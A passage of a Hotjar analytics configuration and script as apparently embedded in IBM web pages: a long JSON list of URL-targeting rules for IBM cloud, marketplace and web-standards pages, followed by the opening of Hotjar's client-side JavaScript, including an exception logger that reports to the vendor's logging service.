solutions\/mobile-cloud-computing\/","match_operation":"simple","component":"url"}],"created_epoch_time":1445966539,"id":218056},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/mobile-device-management\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1445977976,"id":218374},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-marketing\/digital-experience","match_operation":"simple","component":"url"}],"created_epoch_time":1445623964,"id":214287},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-marketing\/brand-co-creation","match_operation":"simple","component":"url"}],"created_epoch_time":1445623897,"id":214284},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/email-and-social-collaboration\/IBM-verse","match_operation":"simple","component":"url"}],"created_epoch_time":1445966396,"id":218048},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-devops\/hybrid","match_operation":"simple","component":"url"}],"created_epoch_time":1445031997,"id":205969},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-devops\/devops-for-monitoring","match_operation":"simple","component":"url"}],"created_epoch_time":1445031866,"id":205965},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-devops\/docker-cloud","match_operation":"simple","component":"url"}],"created_epoch_time":1445032065,"id":205971},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/community","match_operation":"simple","component":"url"}],"created_epoch_time":1444836530,"id":202437},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/email-and-social-collaboration\/social-business-platform","match_operation":"simple","component":"url"}],"created_epoch_time":1445966451,"id":218051},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-business-solutions","match_operation":"simple","component":"url"}],"created_epoch_time":1445980208,"id":218477},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-devops\/devops-for-fast-apps","match_operation":"simple","component":"url"}],"created_epoch_time":1445031799,"id":205963},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-enterprise-application-infrastructure\/cloud-web-application","match_operation":"simple","component":"url"}],"created_epoch_time":1445451654,"id":211239},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-enterprise-application-infrastructure\/scalable-web-applications","match_operation":"simple","component":"url"}],"created_epoch_time":1445451812,"id":211244},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-enterprise-application-infrastructure\/secure-runtime-environment","match_operation":"simple","component":"url"}],"created_epoch_time":1445451574,"id":211238},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-analytics\/roles","match_operation":"simple","component":"url"}],"created_epoch_time":1448387532,"id":255901},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-analytics\/financial-analytics","match_operation":"simple","component":"url"}],"created_epoch_time":1445030719,"id":205945},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-enterprise-application-infrastructure\/cloud-database-for-web-applications","match_operation":"simple","component":"url"}],"created_epoch_time":1445451861,"id":211246},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-analytics\/marketing-analytics","match_operation":"simple","component":"url"}],"created_epoch_time":1445030131,"id":205934},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-enterprise-application-infrastructure\/wordpress-on-cloud","match_operation":"simple","component":"url"}],"created_epoch_time":1445451735,"id":211241},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-analytics\/risk-analytics","match_operation":"simple","component":"url"}],"created_epoch_time":1445030277,"id":205935},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/email-and-social-collaboration\/business-email","match_operation":"simple","component":"url"}],"created_epoch_time":1445966338,"id":218046},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-enterprise-application-infrastructure\/roles","match_operation":"simple","component":"url"}],"created_epoch_time":1445451934,"id":211249},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-marketing","match_operation":"simple","component":"url"}],"created_epoch_time":1445623744,"id":214276},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/database-management\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1445978041,"id":218375},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/process-management-software-in-the-cloud\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1445978500,"id":218389},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/services","match_operation":"simple","component":"url"}],"created_epoch_time":1444836458,"id":202429},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/icons","match_operation":"simple","component":"url"}],"created_epoch_time":1448864780,"id":261717},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/hr-cloud","match_operation":"simple","component":"url"}],"created_epoch_time":1445451980,"id":211251},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/it-service-management","match_operation":"simple","component":"url"}],"created_epoch_time":1445453070,"id":211278},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/next\/84","match_operation":"simple","component":"url"}],"created_epoch_time":1445979321,"id":218442},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/built-on-cloud\/saas-security","match_operation":"simple","component":"url"}],"created_epoch_time":1445980311,"id":218480},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/guidance","match_operation":"simple","component":"url"}],"created_epoch_time":1448370513,"id":255152},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/tools","match_operation":"simple","component":"url"}],"created_epoch_time":1448370482,"id":255151},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/industry-federal","match_operation":"simple","component":"url"}],"created_epoch_time":1445980168,"id":218475},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/private-cloud","match_operation":"simple","component":"url"}],"created_epoch_time":1445980054,"id":218470},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-devops","match_operation":"simple","component":"url"}],"created_epoch_time":1445031697,"id":205958},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/statistical-analysis-and-reporting\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1448384669,"id":255784},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-deployment","match_operation":"simple","component":"url"}],"created_epoch_time":1445032408,"id":205976},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/mobile-cloud-computing","match_operation":"simple","component":"url"}],"created_epoch_time":1444925701,"id":204224},{"targeting":[{"pattern":"http:\/\/ibm.com\/products\/en-us\/","match_operation":"simple","component":"url"}],"created_epoch_time":1447897879,"id":248721},{"targeting":[{"pattern":"marketplace\/cloud\/developer","match_operation":"contains","component":"url"}],"created_epoch_time":1448030843,"id":251257},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/what-is-cloud-computing.html","match_operation":"simple","component":"url"}],"created_epoch_time":1445966596,"id":218060},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-marketing\/scale-rewarding-experiences","match_operation":"simple","component":"url"}],"created_epoch_time":1445623835,"id":214282},{"targeting":[{"pattern":"http:\/\/ibm.com\/services\/en-us\/","match_operation":"simple","component":"url"}],"created_epoch_time":1442609125,"id":175930},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-security\/security-for-application-development","match_operation":"simple","component":"url"}],"created_epoch_time":1445624103,"id":214290},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/site","match_operation":"simple","component":"url"}],"created_epoch_time":1448370405,"id":255147},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/consulting","match_operation":"simple","component":"url"}],"created_epoch_time":1445979880,"id":218467},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/email-and-social-collaboration","match_operation":"simple","component":"url"}],"created_epoch_time":1445625687,"id":214315},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/partner-landing","match_operation":"simple","component":"url"}],"created_epoch_time":1445980347,"id":218481},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/big-data-cloud\/daas-database-as-a-service","match_operation":"simple","component":"url"}],"created_epoch_time":1445031541,"id":205956},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/watson-analytics\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1447176184,"id":236325},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/business-email-platform\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1445977806,"id":218366},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/big-data-cloud","match_operation":"simple","component":"url"}],"created_epoch_time":1445030966,"id":205949},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/infrastructure","match_operation":"simple","component":"url"}],"created_epoch_time":1444836224,"id":202421},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/cloud-platform\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1445011564,"id":205613},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/built-on-cloud","match_operation":"simple","component":"url"}],"created_epoch_time":1444836495,"id":202432},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-enterprise-application-infrastructure","match_operation":"simple","component":"url"}],"created_epoch_time":1445032990,"id":205986},{"targeting":[{"pattern":"http:\/\/ibm.com\/smarterplanet\/us\/en\/ibmwatson\/discovery-advisor.html","match_operation":"simple","component":"url"}],"created_epoch_time":1444498155,"id":198254},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-security\/managed-hosted-security-services","match_operation":"simple","component":"url"}],"created_epoch_time":1445979811,"id":218463},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-security\/mobile-and-endpoint-security","match_operation":"simple","component":"url"}],"created_epoch_time":1445624163,"id":214291},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/external-links","match_operation":"simple","component":"url"}],"created_epoch_time":1448864680,"id":261712},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/menu-navigation","match_operation":"simple","component":"url"}],"created_epoch_time":1448864912,"id":261723},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/tabs-navigation","match_operation":"simple","component":"url"}],"created_epoch_time":1448865131,"id":261731},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/full-width-sections","match_operation":"simple","component":"url"}],"created_epoch_time":1448864735,"id":261715},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/hybrid-integration","match_operation":"simple","component":"url"}],"created_epoch_time":1445452746,"id":211267},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-deployment\/managed-sap","match_operation":"simple","component":"url"}],"created_epoch_time":1445032474,"id":205978},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/hybrid-integration\/api-management-on-cloud","match_operation":"simple","component":"url"}],"created_epoch_time":1445452802,"id":211269},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/guidance\/third-party","match_operation":"simple","component":"url"}],"created_epoch_time":1448866307,"id":261754},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/it-service-management\/it-help-desk-software","match_operation":"simple","component":"url"}],"created_epoch_time":1445623652,"id":214273},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/application-performance-management\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1445978245,"id":218382},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/guidance\/newsletters\/issue-2015-11","match_operation":"simple","component":"url"}],"created_epoch_time":1448866036,"id":261743},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/guidance\/color-palette","match_operation":"simple","component":"url"}],"created_epoch_time":1448866223,"id":261750},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/guidance\/design-checklist","match_operation":"simple","component":"url"}],"created_epoch_time":1448866063,"id":261744},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/built-on-cloud\/saas-migration","match_operation":"simple","component":"url"}],"created_epoch_time":1445980249,"id":218478},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/video","match_operation":"simple","component":"url"}],"created_epoch_time":1448865176,"id":261733},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/bare-metal-server\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1444925068,"id":204211},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/overlays","match_operation":"simple","component":"url"}],"created_epoch_time":1448864936,"id":261724},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/parallax","match_operation":"simple","component":"url"}],"created_epoch_time":1448864989,"id":261726},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns","match_operation":"simple","component":"url"}],"created_epoch_time":1448370460,"id":255149},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/footers","match_operation":"simple","component":"url"}],"created_epoch_time":1448864706,"id":261714},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/mastheads","match_operation":"simple","component":"url"}],"created_epoch_time":1448864890,"id":261722},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/it-service-management\/hybrid-cloud-application-performance-management","match_operation":"simple","component":"url"}],"created_epoch_time":1445453176,"id":211280},{"targeting":[{"pattern":"http:\/\/ibm.com\/middleware\/integration\/us-en\/api-economy\/index.html","match_operation":"simple","component":"url"}],"created_epoch_time":1447778073,"id":246054},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/operational-decision-management\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1445977569,"id":218362},{"targeting":[{"pattern":"https:\/\/www.ibm.com\/marketplace\/cloud\/mobile-push-notifications\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1449597139,"id":274786},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/workload-automation\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1445978443,"id":218385},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/open-cloud","match_operation":"simple","component":"url"}],"created_epoch_time":1445980099,"id":218472},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/show-hide","match_operation":"simple","component":"url"}],"created_epoch_time":1448865108,"id":261730},{"targeting":[{"pattern":"https:\/\/www.ibm.com\/marketplace\/cloud\/XConfigureProductView?catalogId=12301&langId=-1&partNumber=DK-D1BCWLL&storeId=18251&ddkey=https%3AXConfigureProduct","match_operation":"exact","component":"url"}],"created_epoch_time":1449605878,"id":274965},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/buttons","match_operation":"simple","component":"url"}],"created_epoch_time":1448864554,"id":261707},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/select-list-navigation","match_operation":"simple","component":"url"}],"created_epoch_time":1448865067,"id":261729},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/pagination-controls","match_operation":"simple","component":"url"}],"created_epoch_time":1448864962,"id":261725},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/next\/2860","match_operation":"simple","component":"url"}],"created_epoch_time":1445979070,"id":218425},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/guidance\/css3","match_operation":"simple","component":"url"}],"created_epoch_time":1448866197,"id":261749},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/hr-cloud\/talent-acquisition","match_operation":"starts_with","component":"url"}],"created_epoch_time":1445452558,"id":211261},{"targeting":[{"pattern":"http:\/\/ibm.com\/","match_operation":"simple","component":"url"}],"created_epoch_time":1447427937,"id":241687},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/hybrid-cloud","match_operation":"simple","component":"url"}],"created_epoch_time":1445979738,"id":218461},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/mobile-cloud-computing","match_operation":"starts_with","component":"url"}],"created_epoch_time":1445358297,"id":209427},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/breadcrumbs","match_operation":"simple","component":"url"}],"created_epoch_time":1448864524,"id":261706},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/live-chat","match_operation":"simple","component":"url"}],"created_epoch_time":1448864837,"id":261720},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-analytics\/roles\/guided-tour\/marketing+leader\/marketing+leader?role=\/ibm+blue+content\/solutions\/cloud-analytics\/roles\/","match_operation":"exact","component":"url"}],"created_epoch_time":1448387943,"id":255907},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/guidance\/seo","match_operation":"simple","component":"url"}],"created_epoch_time":1448866099,"id":261746},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-deployment\/enterprise-apps","match_operation":"simple","component":"url"}],"created_epoch_time":1445032862,"id":205985},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/scrollbar-widget","match_operation":"simple","component":"url"}],"created_epoch_time":1448865036,"id":261728},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/it-service-management\/automated-it-management","match_operation":"simple","component":"url"}],"created_epoch_time":1445623699,"id":214275},{"targeting":[{"pattern":"http:\/\/ibm.com\/it-infrastructure\/us-en\/","match_operation":"simple","component":"url"}],"created_epoch_time":1445548313,"id":213034},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/big-data-cloud\/data-management","match_operation":"starts_with","component":"url"}],"created_epoch_time":1445376304,"id":209893},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/api-management-on-cloud\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1444926232,"id":204232},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/guidance\/html5","match_operation":"simple","component":"url"}],"created_epoch_time":1448866141,"id":261747},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/internet-of-things\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1445978182,"id":218381},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/us\/en\/partner-landing","match_operation":"simple","component":"url"}],"created_epoch_time":1445978694,"id":218402},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/pull-quotes","match_operation":"simple","component":"url"}],"created_epoch_time":1448865012,"id":261727},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/online-meetings\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1445978616,"id":218397},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/itsm\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1445978565,"id":218394},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/bluemix\/case-study\/","match_operation":"starts_with","component":"url"}],"created_epoch_time":1443130751,"id":182007},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/next\/2014","match_operation":"simple","component":"url"}],"created_epoch_time":1445979366,"id":218443},{"targeting":[{"pattern":"http:\/\/ibm.com\/software\/analytics\/spss\/","match_operation":"simple","component":"url"}],"created_epoch_time":1448387195,"id":255898},{"targeting":[{"pattern":"http:\/\/ibm.com\/software\/info\/trials\/#all","match_operation":"exact","component":"url"}],"created_epoch_time":1447965036,"id":250198},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/hr-cloud\/hr-employee-engagement","match_operation":"simple","component":"url"}],"created_epoch_time":1445452671,"id":211266},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/bluemix\/garage\/","match_operation":"starts_with","component":"url"}],"created_epoch_time":1443130802,"id":182008},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/spss-statistics\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1445977739,"id":218364},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/bluemix\/solutions\/mobilefirst\/","match_operation":"simple","component":"url"}],"created_epoch_time":1444926095,"id":204230},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/next\/3450","match_operation":"simple","component":"url"}],"created_epoch_time":1445978858,"id":218416},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/next\/4327","match_operation":"simple","component":"url"}],"created_epoch_time":1445979566,"id":218451},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/next\/247","match_operation":"simple","component":"url"}],"created_epoch_time":1445979469,"id":218447},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/locale-selector","match_operation":"simple","component":"url"}],"created_epoch_time":1448864861,"id":261721},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/next\/2959","match_operation":"simple","component":"url"}],"created_epoch_time":1445979115,"id":218428},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/big-data-cloud\/big-data-cloud-analytics","match_operation":"simple","component":"url"}],"created_epoch_time":1445031103,"id":205951},{"targeting":[{"pattern":"http:\/\/ibm.com\/uk-en\/","match_operation":"simple","component":"url"}],"created_epoch_time":1448293878,"id":253908},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/next\/3792","match_operation":"simple","component":"url"}],"created_epoch_time":1445979611,"id":218453},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/bare-metal-server\/us\/en-us#pdpPurchasing","match_operation":"exact","component":"url"}],"created_epoch_time":1444925188,"id":204215},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/bluemix\/index.html","match_operation":"simple","component":"url"}],"created_epoch_time":1443711432,"id":188589},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/next\/3526","match_operation":"simple","component":"url"}],"created_epoch_time":1445978808,"id":218412},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/Enterprise-Instant-Messaging\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1445977357,"id":218357},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/next\/3400","match_operation":"simple","component":"url"}],"created_epoch_time":1445979278,"id":218439},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/guidance\/naming-policy","match_operation":"simple","component":"url"}],"created_epoch_time":1448866396,"id":261763},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/hybrid-integration\/microservices","match_operation":"simple","component":"url"}],"created_epoch_time":1445453008,"id":211277},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/date-time","match_operation":"simple","component":"url"}],"created_epoch_time":1448864654,"id":261710},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/carousels","match_operation":"simple","component":"url"}],"created_epoch_time":1448864596,"id":261708},{"targeting":[{"pattern":"http:\/\/ibm.com\/analytics\/watson-analytics\/","match_operation":"simple","component":"url"}],"created_epoch_time":1446149587,"id":221624},{"targeting":[{"pattern":"http:\/\/ibm.com\/ibmid\/basic_register\/register.html","match_operation":"simple","component":"url"}],"created_epoch_time":1446149675,"id":221627},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-analytics\/cloud-sales-performance-management","match_operation":"starts_with","component":"url"}],"created_epoch_time":1445030438,"id":205937},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/next\/3349","match_operation":"simple","component":"url"}],"created_epoch_time":1445978749,"id":218406},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/Process-modeling-in-the-cloud\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1445978380,"id":218383},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/guidance\/co-branding","match_operation":"simple","component":"url"}],"created_epoch_time":1448866273,"id":261752},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/next\/2235","match_operation":"simple","component":"url"}],"created_epoch_time":1445979423,"id":218445},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/guidance\/migration-of-acquisitions","match_operation":"simple","component":"url"}],"created_epoch_time":1448866338,"id":261758},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/anchor-links","match_operation":"simple","component":"url"}],"created_epoch_time":1448864497,"id":261705},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/next\/1351","match_operation":"simple","component":"url"}],"created_epoch_time":1445979510,"id":218449},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/next\/4414","match_operation":"simple","component":"url"}],"created_epoch_time":1445979216,"id":218436},{"targeting":[{"pattern":"http:\/\/ibm.com\/ibm\/puresystems\/us\/en\/hybrid-cloud\/","match_operation":"starts_with","component":"url"}],"created_epoch_time":1447366892,"id":240564},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-deployment\/sap-hana","match_operation":"simple","component":"url"}],"created_epoch_time":1445032765,"id":205983},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/hr-cloud\/learning-and-development","match_operation":"simple","component":"url"}],"created_epoch_time":1445452082,"id":211253},{"targeting":[{"pattern":"http:\/\/ibm.com\/developerworks\/","match_operation":"simple","component":"url"}],"created_epoch_time":1446753222,"id":230599},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/cloud-platform\/pr\/en-pr","match_operation":"simple","component":"url"}],"created_epoch_time":1445011666,"id":205615},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-deployment\/self-managed-sap","match_operation":"simple","component":"url"}],"created_epoch_time":1445032808,"id":205984},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/contact-module","match_operation":"simple","component":"url"}],"created_epoch_time":1448864624,"id":261709},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/next\/2154","match_operation":"simple","component":"url"}],"created_epoch_time":1445979174,"id":218433},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/guidance\/mobile-web","match_operation":"simple","component":"url"}],"created_epoch_time":1448866166,"id":261748},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/hybrid-integration\/secure-gateway","match_operation":"simple","component":"url"}],"created_epoch_time":1445452942,"id":211274},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/horizontal_rules","match_operation":"simple","component":"url"}],"created_epoch_time":1448864758,"id":261716},{"targeting":[{"pattern":"http:\/\/ibm.com\/ibm\/puresystems\/us\/en\/hybrid-cloud\/?S_PKG=-&S_TACT=C432013W&campaign=PureApplication%20Tutorial_BR&group=PureApp_BR&mkwid=1af491ed-84fa-9ee8-2a5e-00002588308a&ct=C432013W&iio=PSYS&cmp=C4320&ck=%2Bibm%20pureapplication%20service&cs=b&ccy=US&cr=google&cm=k&cn=PureApp_BR","match_operation":"exact","component":"url"}],"created_epoch_time":1447086616,"id":234505},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/tooltip","match_operation":"simple","component":"url"}],"created_epoch_time":1448865157,"id":261732},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/left-navigation","match_operation":"simple","component":"url"}],"created_epoch_time":1448864811,"id":261719},{"targeting":[{"pattern":"http:\/\/ibm.com\/middleware\/en-us\/index.html","match_operation":"simple","component":"url"}],"created_epoch_time":1444763322,"id":201250}],"surveys":[],"testers_widgets":[]}; (function(){window.hj=window.hj||function(){(window.hj.q=window.hj.q||[]).push(arguments)};hj.logException=function(t,a){var b="undefined"!==typeof hj.log?hj.log.debug:function(){},c,g;try{c={"http:":12080,"https:":12443}[location.protocol],g={message:t?t.toString():"<unknown>",url:location.href,data:"object"===typeof a?hj.json.stringify(a):a},b(g),hj.hq.ajax({url:"//graylog.hotjar.com:"+c+"/gelf",type:"POST",data:hj.json.stringify(g)})}catch(d){b("Failed to log exception: "+d)}};hj.testException= function(){try{"test".push([])}catch(t){hj.logException(t)}};hj.testExceptionWithData=function(){try{"test".push([])}catch(t){hj.logException(t,{foo:"bar"})}}})(); try{(function(t,a){var b;b=function(a){return new c(a)};b.isEmptyObject=function(a){return Object.keys(a).length?!1:!0};b.isFunction=function(a){return"function"===typeof a};b.isWindow=function(a){return a===window};b.isDocument=function(a){return a===window.document};b.noop=function(){};b.each=function(a,d){var b,c;if("object"===typeof a&&"[object Array]"!==Object.prototype.toString.call(a))if((c=a[Object.keys(a)[0]])&&void 0!==c.nodeName)for(b in a){if(a.hasOwnProperty(b)&&"length"!==b&&!1===d(b, a[b],a))break}else for(b in a){if(a.hasOwnProperty(b)&&!1===d(b,a[b],a))break}else 